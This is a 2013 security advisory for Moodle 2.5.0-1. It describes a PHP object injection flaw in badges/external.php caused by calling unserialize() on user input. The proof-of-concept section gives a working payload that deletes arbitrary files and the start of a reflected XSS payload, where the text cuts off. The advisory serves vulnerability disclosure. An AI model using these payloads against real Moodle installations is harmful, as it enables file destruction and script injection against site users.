============================================= - Original release date: 15 September, 2013 - Discovered by: Emilio Pinna (Application Security Analyst at Abinsula) - Contact: emilio # pinn # gmail ============================================= VULNERABILITY ---------------------- Moodle CMS version 2.5.0-1 is prone to Object Injection vulnerability passing not properly sanitized user-supplied input to the unserialize() PHP function. Attacker could inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this application the attacker could delete files and perform a XSS attacks. DESCRIPTION ---------------------- Affected file badges/external.php unserialize user input in line 35 $json = required_param('badge', PARAM_RAW); .. $badge = new external_badge(unserialize($json)); PROOF OF CONCEPT ---------------------- - FILE DELETE The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 can be exploited in order to delete remote file passing the serialized object. http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";} - XSS The rendered HTML page constructed in the core_badges_renderer::render_external_badge() in badges/renderer.php:375 reflects the two object variable assertion and imageurl, as that can be used as XSS vector. http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:"